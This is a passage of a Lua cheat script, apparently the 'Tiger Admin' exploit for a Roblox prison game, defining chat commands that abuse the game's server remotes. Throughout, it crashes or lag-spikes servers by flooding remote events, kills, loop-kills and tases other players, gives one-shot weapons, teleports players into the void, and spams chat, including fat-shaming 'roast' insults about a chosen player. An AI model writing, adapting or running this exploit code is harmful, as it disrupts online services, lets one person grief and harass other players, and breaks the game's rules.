1608
end
1609
end
1610
end
1611
end)
1612
game:GetService("RunService").Stepped:Connect(function()
1613
if Target and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health>1 then
1614
Character:SetPrimaryPartCFrame(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,1.1))
1615
end
1616
end)
1617
game:GetService("UserInputService").InputEnded:Connect(function(a,b)
1618
if not b then
1619
if a.KeyCode == Enum.KeyCode.E and Target then
1620
Slash()
1621
wait(.5)
1622
Target = nil
1623
end
1624
end
1625
end)
1626
end)
1627
end,nil,nil,true)
1628
API:CreateCmd("admin", "The selected player can use certain commands", function(args)
1629
local Target = API:FindPlayer(args[2])
1630
if Target then
1631
if not table.find(Temp.Admins,Target.Name) then
1632
table.insert(Temp.Admins, Target.Name)
1633
local ohString1 = "/w "..Target.Name.." ".."ADMIN: You have been admined! if you are ready to get started using commands type [!cmds] in chat."
1634
local ohString2 = "All"
1635
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
1636
else
1637
API:Notif("This player is already an admin!",false)
1638
end
1639
end
1640
end,nil,nil,true)
1641
API:CreateCmd("admins", "Tells you all admins", function(args)
1642
local Compiled = ""
1643
for i,v in pairs(Temp.Admins) do
1644
if v then
1645
Compiled=Compiled..string.char(32)..v
1646
end
1647
end
1648
API:Notif("Admins: "..Compiled,4)
1649
end,nil,nil,true)
1650
API:CreateCmd("crashserver", "Crashes the server", function(args)
1651
API:CrashServer()
1652
end,nil,nil,true)
1653
--5
1654
API:CreateCmd("oneshot", "Makes a gun oneshot", function(args)
1655
ChangeState(args[2],"OneShot")
1656
end,nil,"[ON/OFF]",true)
1657
API:CreateCmd("anticrash", "Tries to stop simple crashes (DOESNT WORK WITH TIGER ADMIN CRASH)", function(args)
1658
local Value = ChangeState(args[2],"anticrash")
1659
if Value then
1660
pcall(function()
1661
game:GetService("Players").LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = true
1662
end)
1663
else
1664
pcall(function()
1665
game:GetService("Players").LocalPlayer.PlayerScripts.ClientGunReplicator.Disabled = false
1666
end)
1667
end
1668
end,nil,"[ON/OFF]",true)
1669
API:CreateCmd("virus", "Anyone who touches the player dies", function(args)
1670
local r = API:FindPlayer(args[2])
1671
if r and not table.find(Temp.Viruses,r) then
1672
table.insert(Temp.Viruses, r)
1673
API:Notif("Player now has covid-19")
1674
end
1675
end,nil,"[PLAYER]",true)
1676
API:CreateCmd("unvirus", "Removes virus from player", function(args)
1677
local r = API:FindPlayer(args[2])
1678
if r and table.find(Temp.Viruses,r) then
1679
table.remove(Temp.Viruses,table.find(Temp.Viruses,r))
1680
API:Notif("Removed covid-19 from player")
1681
end
1682
end,nil,"[PLAYER]",true)
1683
API:CreateCmd("lagspike", "Freezes everyones screen for some seconds", function(args)
1684
local a = game:GetService("RunService").Stepped:Connect(function()
1685
pcall(function()
1686
plr.Character:Destroy()
1687
end)
1688
end)
1689
local a2 = plr.CharacterAdded:Connect(function(a)
1690
pcall(function()
1691
a:Destroy()
1692
end)
1693
pcall(function()
1694
plr.Character:Destroy()
1695
end)
1696
end)
1697
for i =1,1500 do
1698
task.spawn(function()
1699
workspace.Remote.TeamEvent:FireServer("Bright orange")
1700
end)
1701
end
1702
wait(8)
1703
a:Disconnect()
1704
a2:Disconnect()
1705
wait(.7)
1706
task.spawn(function()
1707
workspace.Remote.TeamEvent:FireServer("Bright orange")
1708
end)
1709
end,nil,"",true)
1710
API:CreateCmd("ff", "Forcefield", function(args)
1711
local Value = ChangeState(args[2],"ff")
1712
end,nil,"[ON/OFF]",true)
1713
API:CreateCmd("minigun", "makes a minigun", function(args)
1714
API:GetGun("AK-47")
1715
wait(.7)
1716
local Tool = plr.Backpack:FindFirstChildOfClass("Tool")
1717
if not Tool:FindFirstChild("GunStates") then
1718
return API:Notif("Needs to be a gun!",false)
1719
end
1720
local cc = require(Tool.GunStates)
1721
cc["Damage"] = 9e9
1722
cc["FireRate"] = 0.001
1723
cc["Range"] = math.huge
1724
cc["MaxAmmo"] = math.huge
1725
cc["StoredAmmo"] = math.huge
1726
cc["AmmoPerClip"] = math.huge
1727
cc["CurrentAmmo"] = math.huge
1728
if Tool.Name ~= "Remington 870" then
1729
cc["Bullets"] = 1
1730
cc["AutoFire"] = true
1731
end
1732
table.insert(Reload_Guns, Tool)
1733
Player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()
1734
API:GetGun("Remington 870")
1735
wait(.7)
1736
for i,v in pairs(plr.Backpack:GetChildren()) do
1737
if v and v:FindFirstChildOfClass("ModuleScript") then
1738
v.Grip = v.Grip+Vector3.new(0,1,0)
1739
end
1740
end
1741
plr.Backpack:WaitForChild("Remington 870").Parent = plr.Character
1742
wait(.4)
1743
plr.Backpack:WaitForChild("AK-47").Parent = plr.Character
1744
end,nil,"",true)
1745
API:CreateCmd("music", "plays sound id in your game", function(args)
1746
local r = args[2]
1747
if r == "stop" then
1748
if Temp.MUSICP then
1749
Temp.MUSICP:Stop()
1750
Temp.MUSICP:Destroy()
1751
Temp.MUSICP = nil
1752
end
1753
elseif tonumber(Temp.MUSICP) then
1754
local a = Instance.new("Sound",workspace)
1755
a.Volume = 1
1756
a.Name = "Music"
1757
a.Looped = true
1758
a:Play()
1759
Temp.MUSICP = a
1760
end
1761
end,nil,"[ID] OR [STOP]",true)
1762
API:CreateCmd("spam", "spams a message in game", function(args)
1763
local r = args[2]
1764
if tostring(r) then
1765
if r == "set" and args[3] then
1766
if not tonumber(args[3]) then
1767
API:Notif("invalid number!")
1768
else
1769
Temp.DelatSpam = tonumber(args[3])
1770
end
1771
else
1772
if r == "stop" then
1773
Temp.spamming = nil
1774
else
1775
Temp.spamming = true
1776
task.spawn(function()
1777
repeat wait(Temp.DelatSpam or 1.5)
1778
local ohString1 = r
1779
local ohString2 = "All"
1780
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
1781
until not Temp.spamming
1782
end)
1783
end
1784
end
1785
end
1786
end,nil,"[MSG,STOP, SET (seconds delay) ex: !spam set 3]",true)
1787
API:CreateCmd("roast", "spams a message in game", function(args)
1788
local Target = API:FindPlayer(args[2])
1789
local Roasts = {
1790
"plr3's belt size is 'equator',",
1791
"plr3 is so dumb that not even Dora can explore her,",
1792
"plr3 is so bad, that it took 2 buses & 1 train to get plr3 to the good side,",
1793
"plr3 stepped onto a scale, and it said 'TO BE CONTINUED'.",
1794
"I swerved to miss plr3 in my car and ran out of gas,",
1795
"When plr3 wears high heels, plr3 strikes oil.",
1796
"Did you know that plr3 gets group insurance,",
1797
"When plr3 skips a meal, the stock market drops,",
1798
"When plr3 goes camping, the bears hide their food.",
1799
}
1800
if Target then
1801
local Compiled = Roasts[math.random(1,#Roasts)]
1802
Compiled = Compiled:gsub("plr3",Target.DisplayName)
1803
local ohString1 = Compiled
1804
local ohString2 = "All"
1805
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
1806
end
1807
end,nil,"[TARGET]",true)
1808
API:CreateCmd("joinlogs", "tells you who is leaving and joining", function(args)
1809
local Value = ChangeState(args[2],"joinlogs")
1810
if Value then
1811
Temp.joinning = game:GetService("Players").PlayerAdded:Connect(function(a)
1812
game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "[JOIN LOGS]: "..a.Name.." has joined the game!", Color = Color3.fromRGB(16, 243, 255), Font = Enum.Font.SourceSansBold, FontSize = Enum.FontSize.Size24 } )
1813
1814
end)
1815
Temp.joinning2 = game:GetService("Players").PlayerRemoving:Connect(function(a)
1816
game.StarterGui:SetCore("ChatMakeSystemMessage", { Text = "[JOIN LOGS]: "..a.Name.." has left the game!", Color = Color3.fromRGB(50, 14, 255), Font = Enum.Font.SourceSansBold, FontSize = Enum.FontSize.Size24 } )
1817
end)
1818
else
1819
pcall(function()
1820
Temp.joinning2:Disconnect()
1821
Temp.joinning:Disconnect()
1822
end)
1823
end
1824
end,nil,"[ON/OFF]",true)
1825
API:CreateCmd("antifling", "prevents players from flinging you", function(args)
1826
local Value = ChangeState(args[2],"AntiFling")
1827
end,nil,"[ON/OFF]",true)
1828
API:CreateCmd("mkill", "kills player by teleport", function(args)
1829
local function MKILL(target,STOP,P)
1830
if target == plr or target == plr.Name then
1831
return
1832
end
1833
if typeof(target):lower() == "string" and game:GetService("Players"):FindFirstChild(target) then
1834
target = game:GetService("Players"):FindFirstChild(target)
1835
end
1836
if not STOP then STOP =1 end
1837
if not target or not target.Character or not target.Character:FindFirstChild("Humanoid") or target.Character:FindFirstChildOfClass("ForceField") or target.Character:FindFirstChild("Humanoid").Health<1 or not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or not plr.Character:FindFirstChild("HumanoidRootPart") then
1838
return
1839
end
1840
API:UnSit()
1841
local saved = API:GetPosition()
1842
if not P then P = saved else saved = P end
1843
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = target.Character:FindFirstChild("Head").CFrame
1844
wait(.2)
1845
for i =1,10 do
1846
task.spawn(function()
1847
game.ReplicatedStorage["meleeEvent"]:FireServer(target)
1848
end)
1849
end
1850
wait(.1)
1851
if target and target.Character and target.Character:FindFirstChild("Humanoid") and target.Character:FindFirstChild("Humanoid").Health >1 and STOP ~=3 then
1852
MKILL(target,STOP+1,P)
1853
return
1854
end
1855
API:MoveTo(saved)
1856
end
1857
local r = API:FindPlayer(args[2])
1858
if r then
1859
MKILL(r)
1860
end
1861
end,nil,"[PLAYER]",true)
1862
API:CreateCmd("loopmkill", "kills player by teleport loopkill", function(args)
1863
local r = API:FindPlayer(args[2])
1864
if r and not table.find(Temp.LoopmKilling,r.Name) then
1865
table.insert(Temp.LoopmKilling, r.Name)
1866
API:Notif("Now loopkilling player")
1867
end
1868
end,nil,"[PLAYER]",true)
1869
API:CreateCmd("unloopmkill", "kills player by teleport loopkill", function(args)
1870
local r = API:FindPlayer(args[2])
1871
if r and table.find(Temp.LoopmKilling,r.Name) then
1872
table.remove(Temp.LoopmKilling,table.find(Temp.LoopmKilling,r.Name))
1873
API:Notif("Now unloopkilling player")
1874
end
1875
end,nil,"[PLAYER]",true)
1876
API:CreateCmd("godmode", "Turns on all settings that prevent you from harm", function(args)
1877
local Value = ChangeState(args[2],"Godmode")
1878
if Value then
1879
States.AntiArrest = true
1880
States.AntiTase = true
1881
States.AntiFling = true
1882
States.antipunch = true
1883
States.ShootBack = true
1884
States.AutoItems = true
1885
States.Antishield = true
1886
States.anticrash = true
1887
States.AutoRespawn = true
1888
wait(.1)
1889
API:Refresh(true)
1890
else
1891
States.AntiArrest = false
1892
States.AntiTase = false
1893
States.AntiFling = false
1894
States.antipunch = false
1895
States.ShootBack = false
1896
States.AutoItems = false
1897
States.Antishield = false
1898
States.anticrash = false
1899
end
1900
end,nil,"[ON/OFF]",true)
1901
API:CreateCmd("superknife", "One shot knife", function(args)
1902
workspace.Remote.ItemHandler:InvokeServer({Position=game:GetService("Players").LocalPlayer.Character.Head.Position,Parent=workspace.Prison_ITEMS.single["Crude Knife"]})
1903
wait(.6)
1904
local tool = plr.Backpack:WaitForChild("Crude Knife")
1905
tool.Name = "Super knife"
1906
if tool then
1907
Temp.superthingy = game:GetService("UserInputService").InputEnded:Connect(function(inp,endi)
1908
if not endi then
1909
if not tool then
1910
Temp.superthingy = nil
1911
end
1912
if inp.UserInputType == Enum.UserInputType.MouseButton1 then
1913
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
1914
if v and v~=plr and (v.Character:GetPrimaryPartCFrame().Position-API:GetPosition()*CFrame.new(0,0,.4).Position).Magnitude <3.6 then
1915
for i =1,20 do
1916
task.spawn(function()
1917
game:GetService("ReplicatedStorage").meleeEvent:FireServer(v)
1918
end)
1919
end
1920
end
1921
end
1922
end
1923
end
1924
end)
1925
end
1926
end,nil,"",true)
1927
API:CreateCmd("autoadmin", "Admins someone even if you leave and rejoin", function(args)
1928
local Target = API:FindPlayer(args[2])
1929
if Target then
1930
local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
1931
local Found = API:FindString(Target.Name,Content)
1932
local New = {}
1933
for i,v in pairs(Content) do
1934
if v then
1935
New[i] = v
1936
end
1937
end
1938
table.Insert(New, Target.Name)
1939
if not Found then
1940
local ohString1 = "/w "..Target.Name.." ".."ADMIN: You have been Autoadmined type [!cmds] in chat to get started!"
1941
local ohString2 = "All"
1942
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(ohString1, ohString2)
1943
writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode(New))
1944
API:Notif("Player has been autoadmined")
1945
end
1946
end
1947
end,nil,"[PLAYER]",true)
1948
1949
API:CreateCmd("unautoadmin", "unauto admins a player", function(args)
1950
local Target = API:FindPlayer(args[2])
1951
if Target then
1952
local Content = game:GetService("HttpService"):JSONDecode(readfile("Tiger_Admin/SavedAdmins.json"))
1953
local Found = API:FindString(Target.Name,Content)
1954
local New = {}
1955
for i,v in pairs(Content) do
1956
if v then
1957
New[i] = v
1958
end
1959
end
1960
table.remove(New,table.find(New,Target.Name))
1961
pcall(function()
1962
table.remove(Temp.Admins,table.find(Temp.Admins,Target.Name))
1963
end)
1964
if Found then
1965
writefile("Tiger_Admin/SavedAdmins.json",game:GetService("HttpService"):JSONEncode(New))
1966
API:Notif("Player has been removed from autoadmin list")
1967
end
1968
end
1969
end,nil,"[PLAYER]",true)
1970
API:CreateCmd("earrape", "spams sounds", function(args)
1971
local Value = ChangeState(args[2],"earrape")
1972
if Value then
1973
while wait(.1) do
1974
for i,v in pairs(workspace:GetDescendants()) do
1975
if v:IsA("Sound") then
1976
v:Play()
1977
end
1978
end
1979
if not States.earrape or Unloaded then
1980
break
1981
end
1982
end
1983
end
1984
end,nil,"[ON/OFF]",true)
1985
end
1986
--//end of premium
1987
API:CreateCmd("drag", "Enables draggable mode for all tiger guis", function(args)
1988
local Value = ChangeState(args[2],"DraggableGuis")
1989
end,nil,"- ENABLES DRAGGABLE GUIS")
1990
API:CreateCmd("js", "owner", function(args)
1991
if PremiumActivated then
1992
if args[2] then
1993
local PutIn = {}
1994
for i,v in pairs(args) do
1995
if v ~=nil and i ~= 1 then
1996
table.insert(PutIn, v)
1997
end
1998
end
1999
PublicOutput(table.concat(PutIn))
2000
end
2001
end
2002
end,true,"",true,true)
2003
API:CreateCmd("doors", "prevents players from flinging you", function(args)
2004
local Value = ChangeState(args[2],"DoorsDestroy")
2005
if Value then
2006
workspace.Doors.Parent = game.Lighting
2007
else
2008
game.Lighting.Doors.Parent = workspace
2009
end
2010
end,nil,"[ON/OFF]")
2011
API:CreateCmd("copyteam", "copies a player team looped", function(args)
2012
local r = API:FindPlayer(args[2])
2013
if r then
2014
API:ChangeTeam(r.TeamColor.Name)
2015
Temp.CPTConnect = r:GetPropertyChangedSignal("Team"):Connect(function()
2016
if Player.Team ~= r.Team then
2017
API:ChangeTeam(r.Team,true)
2018
end
2019
end)
2020
API:Notif("Loop team changing now.")
2021
end
2022
end,nil,"[PLAYER]")
2023
API:CreateCmd("speed", "sets your players speed", function(args)
2024
if args[2] and tonumber(args[2]) then
2025
plr.Character:FindFirstChildOfClass("Humanoid").WalkSpeed = tonumber(args[2])
2026
else
2027
API:Notif("Please set a valid number!")
2028
end
2029
end,nil,"[NUMBER]")
2030
API:CreateCmd("jump", "sets your players jumppower", function(args)
2031
if args[2] and tonumber(args[2]) then
2032
plr.Character:FindFirstChildOfClass("Humanoid").JumpPower = tonumber(args[2])
2033
else
2034
API:Notif("Please set a valid number!")
2035
end
2036
end,nil,"[NUMBER]")
2037
API:CreateCmd("uncopyteam", "stops copying a players team", function(args)
2038
Temp.CPTConnect:Disconnect()
2039
API:Notif("Unloop teamed")
2040
end,nil,"[PLAYER]")
2041
API:CreateCmd("kill", "Kills a player", function(args)
2042
if args[2] == "all" then
2043
API:killall()
2044
elseif args[2] == "everyone" then
2045
API:killall()
2046
elseif args[2] == "others" then
2047
API:killall()
2048
elseif args[2] == "guards" then
2049
API:killall(game.Teams.Guards)
2050
elseif args[2] == "inmates" then
2051
API:killall(game.Teams.Inmates)
2052
elseif args[2] == "criminals" then
2053
API:killall(game.Teams.Criminals)
2054
elseif args[2] == "random" then
2055
local random = nil
2056
while true do
2057
random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
2058
task.wait()
2059
if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
2060
break
2061
end
2062
end
2063
API:KillPlayer(random)
2064
API:Notif("Killed "..random.Name)
2065
else
2066
local Player = API:FindPlayer(args[2])
2067
if Player then
2068
API:KillPlayer(Player)
2069
end
2070
end
2071
end,nil,"[PLAYER,ALL,TEAM]")
2072
API:CreateCmd("arrest", "Arrests the targeted player", function(args)
2073
if args[2] and args[2] == "all" then
2074
local LastPosition = API:GetPosition()
2075
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2076
if v and v~= game:GetService("Players").LocalPlayer and v.Team == game.Teams.Criminals or (API:BadArea(v) and v.Team == game.Teams.Inmates) and v.Character.PrimaryPart and v.Character:FindFirstChildOfClass("Humanoid").Health>0 then
2077
repeat API:swait()
2078
API:MoveTo(v.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,-4.5))
2079
task.spawn(function()
2080
workspace.Remote.arrest:InvokeServer(v.Character.PrimaryPart)
2081
end)
2082
until v.Character["Head"]:FindFirstChildOfClass("BillboardGui")
2083
API:MoveTo(LastPosition)
2084
wait(.7)
2085
end
2086
end
2087
API:MoveTo(LastPosition)
2088
elseif args[2] and args[2]~="all" then
2089
local LastPosition = API:GetPosition()
2090
local Target = API:FindPlayer(args[2])
2091
if Target then
2092
if Target.Team == game.Teams.Guards or not API:BadArea(Target) then
2093
return API:Notif("Can't arrest this player!")
2094
end
2095
repeat API:swait()
2096
API:MoveTo(Target.Character:GetPrimaryPartCFrame()*CFrame.new(0,0,-4.5))
2097
task.spawn(function()
2098
workspace.Remote.arrest:InvokeServer(Target.Character.PrimaryPart)
2099
end)
2100
until Target.Character["Head"]:FindFirstChildOfClass("BillboardGui")
2101
end
2102
API:MoveTo(LastPosition)
2103
end
2104
end,nil,"[PLAYER,ALL]")
2105
local function IsTeamCommandCheck(String)
2106
for i,v in pairs(game:GetService("Teams"):GetChildren()) do
2107
if v and v.Name:lower() == String:lower() then
2108
return v
2109
end
2110
end
2111
return nil
2112
end
2113
API:CreateCmd("loopkill", "Kills a player over and over until stopped", function(args)
2114
if args[2] and IsTeamCommandCheck(args[2]) then
2115
local Team = IsTeamCommandCheck(args[2])
2116
if Team == game.Teams.Criminals then
2117
States.loopkillcriminals = true
2118
API:Notif("Loopkilling criminals")
2119
return
2120
elseif Team == game.Teams.Inmates then
2121
States.loopkillinmates = true
2122
API:Notif("Loopkilling inmates")
2123
return
2124
elseif Team == game.Teams.Guards then
2125
API:Notif("Loopkilling guards")
2126
States.loopkillguards = true
2127
return
2128
end
2129
elseif args[2] == "all" then
2130
Temp.Loopkillall = true
2131
API:Notif("Loopkilling all")
2132
else
2133
local Player = API:FindPlayer(args[2])
2134
if not table.find(Temp.Loopkilling,Player.Name) then
2135
table.insert(Temp.Loopkilling,Player.Name)
2136
API:Notif("Now loopkilling selected player.")
2137
else
2138
API:Notif("Player is already getting loop killed!",false)
2139
end
2140
end
2141
end,nil,"[PLAYER/ALL,TEAM]")
2142
API:CreateCmd("lk", "Kills a player over and over until stopped", function(args)
2143
if args[2] and IsTeamCommandCheck(args[2]) then
2144
local Team = IsTeamCommandCheck(args[2])
2145
if Team == game.Teams.Criminals then
2146
States.loopkillcriminals = true
2147
API:Notif("Loopkilling criminals")
2148
return
2149
elseif Team == game.Teams.Inmates then
2150
States.loopkillinmates = true
2151
API:Notif("Loopkilling inmates")
2152
return
2153
elseif Team == game.Teams.Guards then
2154
API:Notif("Loopkilling guards")
2155
States.loopkillguards = true
2156
return
2157
end
2158
elseif args[2] == "all" then
2159
Temp.Loopkillall = true
2160
API:Notif("Loopkilling all")
2161
else
2162
local Player = API:FindPlayer(args[2])
2163
if not table.find(Temp.Loopkilling,Player.Name) then
2164
table.insert(Temp.Loopkilling, Player.Name)
2165
API:Notif("Now loopkilling selected player.")
2166
else
2167
API:Notif("Player is already getting loop killed!",false)
2168
end
2169
end
2170
end,true,"[PLAYER/ALL,TEAM]")
2171
API:CreateCmd("unloopkill", "Stops loopkilling a player", function(args)
2172
if args[2] and IsTeamCommandCheck(args[2]) then
2173
local Team = IsTeamCommandCheck(args[2])
2174
if Team == game.Teams.Criminals then
2175
States.loopkillcriminals = false
2176
API:Notif("unLoopkilling criminals")
2177
return
2178
elseif Team == game.Teams.Inmates then
2179
States.loopkillinmates = false
2180
API:Notif("unLoopkilling inmates")
2181
return
2182
elseif Team == game.Teams.Guards then
2183
States.loopkillguards = false
2184
API:Notif("unLoopkilling guards")
2185
return
2186
end
2187
elseif args[2] == "all" then
2188
Temp.Loopkillall = false
2189
API:Notif("Unloopkilling all")
2190
else
2191
local Player = API:FindPlayer(args[2])
2192
if table.find(Temp.Loopkilling,Player.Name) then
2193
table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
2194
API:Notif("Player has been unlooped")
2195
else
2196
API:Notif("Player is not being loopkilled!",false)
2197
end
2198
end
2199
end,nil,"[PLAYER,ALL,TEAM]")
2200
API:CreateCmd("unlk", "Stops loopkilling a player", function(args)
2201
if args[2] and IsTeamCommandCheck(args[2]) then
2202
local Team = IsTeamCommandCheck(args[2])
2203
if Team == game.Teams.Criminals then
2204
States.loopkillcriminals = false
2205
API:Notif("unLoopkilling criminals")
2206
return
2207
elseif Team == game.Teams.Inmates then
2208
States.loopkillinmates = false
2209
API:Notif("unLoopkilling inmates")
2210
return
2211
elseif Team == game.Teams.Guards then
2212
States.loopkillguards = false
2213
API:Notif("unLoopkilling guards")
2214
return
2215
end
2216
elseif args[2] == "all" then
2217
Temp.Loopkillall = false
2218
API:Notif("Unloopkilling all")
2219
else
2220
local Player = API:FindPlayer(args[2])
2221
if table.find(Temp.Loopkilling,Player.Name) then
2222
table.remove(Temp.Loopkilling,table.find(Temp.Loopkilling,Player.Name))
2223
API:Notif("Player has been unlooped")
2224
else
2225
API:Notif("Player is not being loopkilled!",false)
2226
end
2227
end
2228
end,true,"[PLAYER,ALL,TEAM]")
2229
API:CreateCmd("tase", "Tases the target", function(args)
2230
if args[2] == "all" then
2231
local Oldt = Player.Team
2232
API:ChangeTeam(game.Teams.Guards)
2233
repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
2234
wait(.7)
2235
local ohTable1 = {}
2236
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2237
if v and v~= Player and v.Team ~= game.Teams.Guards then
2238
table.insert(ohTable1, {
2239
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
2240
["Distance"] = -1,
2241
["Cframe"] = CFrame.new(),
2242
["Hit"] = v.Character.Head
2243
})
2244
end
2245
end
2246
local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
2247
game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
2248
task.spawn(function()
2249
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
2250
end)
2251
wait(.7)
2252
API:ChangeTeam(Oldt)
2253
elseif args[2] == "criminals" then
2254
local Oldt = Player.Team
2255
API:ChangeTeam(game.Teams.Guards)
2256
repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
2257
wait(.7)
2258
local ohTable1 = {}
2259
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2260
if v and v~= Player and v.Team ~= game.Teams.Guards and v.Team ==game.Teams.Criminals then
2261
table.insert(ohTable1,{
2262
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
2263
["Distance"] = -1,
2264
["Cframe"] = CFrame.new(),
2265
["Hit"] = v.Character.Head
2266
})
2267
end
2268
end
2269
local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
2270
game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
2271
task.spawn(function()
2272
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
2273
end)
2274
wait(.7)
2275
API:ChangeTeam(Oldt)
2276
elseif args[2] == "inmates" then
2277
local Oldt = Player.Team
2278
API:ChangeTeam(game.Teams.Guards)
2279
repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
2280
wait()
2281
local ohTable1 = {}
2282
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
2283
if v and v~= Player and v.Team ~= game.Teams.Guards and v.Team ==game.Teams.Inmates then
2284
table.insert(ohTable1, {
2285
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
2286
["Distance"] = -1,
2287
["Cframe"] = CFrame.new(),
2288
["Hit"] = v.Character.Head
2289
})
2290
end
2291
end
2292
local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Taser") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Taser")
2293
game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
2294
task.spawn(function()
2295
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
2296
end)
2297
wait(.7)
2298
API:ChangeTeam(Oldt)
2299
else
2300
local Target = API:FindPlayer(args[2])
2301
if Target then
2302
local Oldt = Player.Team
2303
API:ChangeTeam(game.Teams.Guards)
2304
repeat task.wait() until Player.Backpack:FindFirstChild("Taser")
2305
wait(.7)
2306
local ohTable1 = {
2307
[1] = {
2308
["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
2309
["Distance"] = 0,
2310
["Cframe"] = CFrame.new(),
2311
["Hit"] = Target.Character.Head
2312
}
2313
}
2314
local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack.Taser
2315
2316
game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
2317
task.spawn(function()
2318
game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
2319
end)
2320
wait(.1)
2321
API:ChangeTeam(Oldt)
2322
end
2323
end
2324
end,nil,"[PLAYER,ALL]")
2325
API:CreateCmd("heaven", "Teleports a player to the void", function(args)
2326
local Player = API:FindPlayer(args[2])
2327
if Player then
2328
API:bring(Player,CFrame.new(2^7,5^34,4^7))
2329
end
2330
end,true,"[PLAYER]")
2331
2332
API:CreateCmd("void", "Teleports a player to the void", function(args)
2333
local Player = API:FindPlayer(args[2])
2334
if Player then
2335
API:bring(Player,CFrame.new(2^7,5^34,4^7),nil,true)
2336
end
2337
end,nil,"[PLAYER]")
2338
API:CreateCmd("whitelist", "Prevents commands from harming the target", function(args)
2339
local Player = API:FindPlayer(args[2])
2340
if Player then
2341
if not table.find(API.Whitelisted,Player) then
2342
table.insert(API.Whitelisted, Player)
2343
API:Notif("Target has been whitelisted")
2344
end
2345
end
2346
end,nil,"[PLAYER]")
2347
API:CreateCmd("unwhitelist", "unwhitelists a target", function(args)
2348
local Player = API:FindPlayer(args[2])
2349
if Player then
2350
if table.find(API.Whitelisted,Player) then
2351
table.remove(API.Whitelisted,table.find(API.Whitelisted,Player))
2352
API:Notif("Target has been unwhitelisted")
2353
end
2354
end
2355
end,nil,"[PLAYER]")
2356
2357
API:CreateCmd("view", "Watches the selected target", function(args)
2358
local Player = API:FindPlayer(args[2])
2359
if Player then
2360
if Temp.ViewingPlayer then
2361
Temp.ViewingPlayer = nil
2362
wait(.4)
2363
end
2364
Temp.ViewingPlayer = Player
2365
task.spawn(function()
2366
while wait(.1) do
2367
pcall(function()
2368
workspace.CurrentCamera.CameraSubject = Player.Character:FindFirstChildOfClass("Humanoid")
2369
end)
2370
if not Player or not Temp.ViewingPlayer or Unloaded then
2371
workspace.CurrentCamera.CameraSubject = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
2372
break
2373
end
2374
end
2375
end)
2376
end
2377
end,nil,"[PLAYER]")
2378
API:CreateCmd("bring", "Brings a player to you", function(args)
2379
if args[2] == "random" then
2380
local random = nil
2381
while true do
2382
random = game:GetService("Players"):GetPlayers()[math.random(1, #game:GetService("Players"):GetPlayers())]
2383
task.wait()
2384
if random.Team ~= game.Teams.Criminals and random ~= game:GetService("Players").LocalPlayer then
2385
break
2386
end
2387
end
2388
task.spawn(function()
2389
API:bring(random)
2390
end)
2391
else
2392
local Target = API:FindPlayer(args[2])
2393
if Target then
2394
task.spawn(function()
2395
API:bring(Target)
2396
end)
2397
end
2398
2399
end
2400
end,nil,"[PLAYER]")
2401
API:CreateCmd("addnuke", "Player dies everyone dies", function(args)
2402
local Target = API:FindPlayer(args[2])
2403
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("!!!A NUKE HAS BEEN PLACED ON "..Target.Name.." KILLING HIM WILL GET EVERYONE DEAD!!!", "ALL")
2404
repeat task.wait()
2405
if Target.Character and Target.Character:FindFirstChildOfClass("Humanoid") and Target.Character:FindFirstChildOfClass("Humanoid").Health <1 then
2406
break
2407
end
2408
until not game
2409
